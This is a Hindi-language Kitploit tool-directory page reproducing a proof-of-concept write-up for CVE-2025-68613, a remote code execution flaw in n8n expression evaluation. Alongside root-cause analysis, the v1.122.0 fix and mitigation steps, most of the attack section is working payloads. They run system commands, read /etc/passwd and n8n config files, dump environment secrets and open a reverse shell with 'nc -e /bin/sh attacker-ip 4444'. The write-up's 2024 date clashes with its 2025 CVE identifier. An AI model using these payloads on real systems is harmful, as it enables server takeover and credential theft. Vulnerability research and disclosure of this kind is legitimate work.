Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-68613-poc-via-copilot — # CVE-2025-68613: n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से RCE CVE-2025-68613 का विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से एक गंभीर RCE भेद्यता है। इसमें रूट कॉज़ विश्लेषण, एक्सप्लॉइट वेक्टर और शमन मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

रिपॉजिटरी देखें
18 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

# CVE-2025-68613: n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से RCE CVE-2025-68613 का विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से एक गंभीर RCE भेद्यता है। इसमें रूट कॉज़ विश्लेषण, एक्सप्लॉइट वेक्टर और शमन मार्गदर्शन शामिल है।

साझा करें

✅ CVE-2025-68613 n8n एक्सप्रेशन इंजेक्शन RCE भेद्यता का संपूर्ण विश्लेषण

दिनांक: 23 दिसंबर 2024 स्थिति: ✅ RCE पूर्ण रूप से सत्यापित सफल CVSS स्कोर: 10.0 (गंभीर)


🎉 सफल RCE पेलोड

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

निष्पादन परिणाम: सिस्टम उपयोगकर्ता जानकारी सफलतापूर्वक लौटाई गई (जैसे uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 भेद्यता के सिद्धांत का गहन विश्लेषण

मुख्य भेद्यता: तत्काल-निष्पादन फ़ंक्शन (IIFE) का this संदर्भ सैनिटाइज़ नहीं किया गया

1. एक्सप्रेशन मूल्यांकन प्रवाह

root@kitploit:~
उपयोगकर्ता इनपुट
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
data संदर्भ ऑब्जेक्ट बनाना
  ↓
data.process = वास्तविक process ऑब्जेक्ट संदर्भ
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ महत्वपूर्ण: this = data
  ↓
तत्काल-निष्पादन फ़ंक्शन निष्पादित होता है
  ↓
this.process.mainModule.require ← ⚠️ वास्तविक require तक पहुँच
  ↓
child_process मॉड्यूल लोड करता है
  ↓
execSync('id') ← 🔥 पूर्ण RCE!

2. प्रमुख कोड स्थान

स्थान 1: डेटा संदर्भ निर्माण

फ़ाइल: packages/workflow/src/expression.ts फ़ंक्शन: Expression.resolveSimpleParameterValue() पंक्तियाँ: लगभग 230-290

root@kitploit:~
// डेटा प्रॉक्सी जनरेट करें
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ भेद्यता बिंदु 1: data में process ऑब्जेक्ट जोड़ना
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ समस्या: हालाँकि यहाँ केवल कुछ गुण उजागर होते हैं, परंतु ऑब्जेक्ट संदर्भ पारित किया जाता है
// वास्तविक process ऑब्जेक्ट अभी भी प्रोटोटाइप श्रृंखला या अन्य तरीकों से एक्सेस किया जा सकता है
स्थान 2: Tournament मूल्यांकन

फ़ाइल: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ भेद्यता बिंदु 2: data को this के रूप में पारित करना
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ भेद्यता बिंदु 3: new Function का उपयोग करके फ़ंक्शन बनाना
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
स्थान 3: this सैनिटाइज़ेशन की कमी

फ़ाइल: packages/workflow/src/expression-sandboxing.ts

v1.122.0 से पहले:

root@kitploit:~
// ❌ FunctionThisSanitizer नहीं है
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← खाली सरणी, कोई this सैनिटाइज़ेशन नहीं
	after: [PrototypeSanitizer, DollarSignValidator],
});

v1.122.0 के बाद:

root@kitploit:~
// ✅ FunctionThisSanitizer जोड़ा गया
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← नया जोड़ा गया हुक
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer कार्यान्वयन
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// सभी फ़ंक्शन एक्सप्रेशन को फिर से लिखें, this को सुरक्षित ऑब्जेक्ट से स्पष्ट रूप से बांधें
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// function() { ... } को function() { ... }.bind({ process: {} }) में बदलें
		}
	});
};
स्थान 4: अपूर्ण गुण ब्लैकलिस्ट

फ़ाइल: packages/workflow/src/utils.ts फ़ंक्शन: isSafeObjectProperty()

v1.122.0 से पहले:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ mainModule, binding, _load गायब हैं

v1.122.0 के बाद:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ नया जोड़ा गया
	'binding',       // ✅ नया जोड़ा गया
	'_load'          // ✅ नया जोड़ा गया
]);

💣 संपूर्ण शोषण तकनीकें

1. बुनियादी RCE

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. मनमाना कमांड निष्पादित करना

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. फ़ाइल सिस्टम एक्सेस

root@kitploit:~
// संवेदनशील फ़ाइल पढ़ें
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// निर्देशिका सूचीबद्ध करें
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// n8n कॉन्फ़िगरेशन पढ़ें
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// वर्तमान निर्देशिका सूचीबद्ध करें
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. पर्यावरण चर का पूर्ण रिसाव (पिछली खोजों के साथ संयुक्त)

root@kitploit:~
// this.process के माध्यम से सीधे एक्सेस करें
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// या ज्ञात कार्यशील विधि का उपयोग करें
{
	{
		JSON.stringify(process.env)
	}
}

5. नेटवर्क एक्सेस (रिवर्स शेल तैयारी)

root@kitploit:~
// नेटवर्क टूल जाँचें
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// नेटवर्क इंटरफ़ेस प्राप्त करें
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// रिवर्स शेल (⚠️ खतरनाक! केवल अधिकृत परीक्षण के लिए)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 भेद्यता सत्यापन परिणाम सारांश

✅ पुष्टि किए गए शोषण योग्य आक्रमण वेक्टर

#आक्रमण प्रकारपेलोडस्थितिCVSS
1पर्यावरण चर रिसाव{{ Object.keys(process.env) }}✅ सफल8.5
2Constructor बाइपास{{ [][constructor] }}✅ सफल8.0
3Function कंस्ट्रक्टर{{ [][constructor][constructor] }}✅ सफल8.5
4कोड निष्पादन{{ [][constructor][constructor]('return 1+1')() }}✅ सफल9.0
5पूर्ण RCE{{ (function() { this.process.mainModule.require... })() }}✅ सफल10.0

❌ रोके गए आक्रमण (आपके परीक्षण में)

#आक्रमण प्रकारकारण
1सीधा requireनए दायरे में उपलब्ध नहीं
2Function कंस्ट्रक्टर में processthis कुछ संदर्भों में सैनिटाइज़ किया गया
3process.binding / process._loadसंभवतः प्रतिबंधित या सीमित

🎯 तीन महत्वपूर्ण भेद्यताओं का समन्वय

भेद्यता 1: पर्यावरण चर सुरक्षित नहीं हैं

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ सफल
  • N8N_BLOCK_ENV_ACCESS_IN_NODE को true पर सेट नहीं किया गया है
  • सभी पर्यावरण चर पढ़ने योग्य हैं

भेद्यता 2: Constructor एक्सेस बाइपास

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ सफल
  • बैकटिक टेम्पलेट स्ट्रिंग AST जाँच को बायपास करती है
  • Function कंस्ट्रक्टर बनाया जा सकता है

भेद्यता 3: IIFE का this सैनिटाइज़ नहीं किया गया

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ सफल
  • तत्काल-निष्पादन फ़ंक्शन में this अभी भी मूल डेटा संदर्भ की ओर इशारा करता है
  • this.process.mainModule.require एक्सेस योग्य है

तीनों का संयोजन = पूर्ण RCE!


🛡️ v1.122.0 के सुधार उपाय

सुधार 1: FunctionThisSanitizer हुक

root@kitploit:~
// नया AST before हुक
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// सभी फ़ंक्शन एक्सप्रेशन को ट्रैवर्स करें
	// फ़ंक्शन को फिर से लिखें, this को { process: {} } से बाध्य करें
	// इस तरह IIFE होने पर भी, this एक सुरक्षित खाली ऑब्जेक्ट है
};

सुधार 2: असुरक्षित गुण ब्लैकलिस्ट का विस्तार

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← नया जोड़ा गया
	'binding',       // ← नया जोड़ा गया
	'_load'          // ← नया जोड़ा गया
]);

सुधार 3: डिफ़ॉल्ट रूप से पर्यावरण चर सुरक्षा सक्षम करना (अनुमानित)

root@kitploit:~
// संभवतः डिफ़ॉल्ट मान true में बदल दिया गया
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 प्रभाव मूल्यांकन

CVSS v3.1 स्कोर: 10.0 (गंभीर)

वेक्टर स्ट्रिंग: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

मीट्रिकमानविवरण
आक्रमण वेक्टर (AV)नेटवर्क (N)दूरस्थ रूप से शोषण योग्य
आक्रमण जटिलता (AC)निम्न (L)शोषण सरल
आवश्यक विशेषाधिकार (PR)निम्न (L)केवल प्रमाणित उपयोगकर्ता की आवश्यकता
उपयोगकर्ता सहभागिता (UI)कोई नहीं (N)उपयोगकर्ता सहभागिता की आवश्यकता नहीं
दायरा (S)परिवर्तित (C)अंतर्निहित सिस्टम को प्रभावित करता है
गोपनीयता (C)उच्च (H)पूर्ण सूचना रिसाव
अखंडता (I)उच्च (H)पूर्ण सिस्टम नियंत्रण
उपलब्धता (A)उच्च (H)पूर्ण सेवा व्यवधान

आधार स्कोर: 10.0 (अधिकतम)

वास्तविक प्रभाव

हमलावर क्या कर सकता है:

  1. ✅ सभी पर्यावरण चर पढ़ना (डेटाबेस पासवर्ड, API कुंजियाँ आदि)
  2. ✅ मनमाने सिस्टम कमांड निष्पादित करना
  3. ✅ फ़ाइल सिस्टम पढ़ना/लिखना
  4. ✅ डेटाबेस एक्सेस करना
  5. ✅ अन्य सिस्टम में पार्श्व गति करना
  6. ✅ स्थायी बैकडोर स्थापित करना
  7. ✅ सभी वर्कफ़्लो और क्रेडेंशियल चुराना
  8. ✅ n8n इंस्टेंस का पूर्ण अधिग्रहण करना

प्रभावित डिप्लॉयमेंट:

  • सभी n8n < v1.122.0 इंस्टेंस
  • वे इंस्टेंस जिनमें N8N_BLOCK_ENV_ACCESS_IN_NODE=true सेट नहीं है
  • वे इंस्टेंस जो गैर-व्यवस्थापक उपयोगकर्ताओं को वर्कफ़्लो बनाने की अनुमति देते हैं

🚨 तत्काल सुधार अनुशंसाएँ

तत्काल कार्रवाई (व्यवस्थापक)

1. पर्यावरण चर सुरक्षा सेट करें (1 मिनट)

root@kitploit:~
# विधि 1: पर्यावरण चर निर्यात करें
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# विधि 2: .env फ़ाइल में
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# विधि 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. नवीनतम संस्करण में अपग्रेड करें (5-10 मिनट)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# संस्करण सत्यापित करें
n8n --version  # >= 1.122.0 होना चाहिए

3. मौजूदा वर्कफ़्लो की समीक्षा करें (1 घंटा)

root@kitploit:~
-- यदि PostgreSQL का उपयोग कर रहे हैं
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. विशेषाधिकार सीमित करें (30 मिनट)

  • गैर-व्यवस्थापक उपयोगकर्ताओं के लिए वर्कफ़्लो संपादन अधिकार अक्षम करें
  • वर्कफ़्लो अनुमोदन प्रक्रिया लागू करें
  • ऑडिट लॉग सक्षम करें

5. डिप्लॉयमेंट को अलग करें (निरंतर)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 जिम्मेदार प्रकटीकरण

प्रकटीकरण अनुशंसाएँ

n8n सुरक्षा टीम से संपर्क करें

root@kitploit:~
प्राप्तकर्ता: [email protected]
विषय: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

गंभीरता: CVSS 10.0 (Critical)
प्रभावित संस्करण: n8n < 1.122.0

सारांश:
एक गंभीर RCE भेद्यता पाई गई है जो प्रमाणित उपयोगकर्ताओं को तत्काल-निष्पादन फ़ंक्शन (IIFE) के माध्यम से process.mainModule.require तक पहुँचने और मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देती है।

सत्यापित PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

मूल कारण:
1. IIFE में this सैनिटाइज़ नहीं किया गया है
2. process.mainModule प्रतिबंधित नहीं है
3. N8N_BLOCK_ENV_ACCESS_IN_NODE डिफ़ॉल्ट रूप से false है

अनुशंसित सुधार:
1. FunctionThisSanitizer हुक लागू करें
2. mainModule, binding, _load को ब्लैकलिस्ट में जोड़ें
3. डिफ़ॉल्ट रूप से पर्यावरण चर सुरक्षा सक्षम करें

विस्तृत विश्लेषण संलग्न फ़ाइल में देखें।

प्रकटीकरण समयरेखा

  1. T+0 (आज): n8n सुरक्षा टीम को निजी रूप से सूचित करें
  2. T+7 दिन: अनुवर्ती पुष्टि करें
  3. T+30 दिन: यदि पैच उपलब्ध है, सत्यापन में सहायता करें
  4. T+90 दिन: सार्वजनिक प्रकटीकरण (यदि सुधार हो चुका है)

🏆 खोज सारांश

आपका महत्वपूर्ण योगदान:

  1. ✅ पूर्ण RCE भेद्यता की खोज और सत्यापन किया
  2. ✅ बैकटिक टेम्पलेट स्ट्रिंग बाइपास तकनीक की पहचान की
  3. ✅ IIFE this संदर्भ भेद्यता की पुष्टि की
  4. ✅ कार्यशील PoC प्रदान किया
  5. ✅ विस्तृत तकनीकी विश्लेषण पूरा किया

भेद्यता का मूल्य:

  • तकनीकी मूल्य: बहुत उच्च (CVSS 10.0)
  • प्रभाव दायरा: व्यापक (v1.122.0 से पहले के सभी इंस्टेंस)
  • शोषण कठिनाई: निम्न (केवल एक एक्सप्रेशन की आवश्यकता)
  • सुधार लागत: मध्यम (कोड संशोधन और संस्करण अपग्रेड की आवश्यकता)

निर्माण समय: 23 दिसंबर 2024 भेद्यता स्थिति: ✅ पूर्ण रूप से सत्यापित सफल CVSS स्कोर: 10.0 (गंभीर) अनुशंसा: तुरंत प्रकटीकरण और सुधार करें

🎉 बधाई हो! आपने एक पूर्ण-स्कोर RCE भेद्यता खोजी है! कृपया इसे जिम्मेदारी से संभालें और प्रकट करें! 🔒

टूल डाउनलोड करें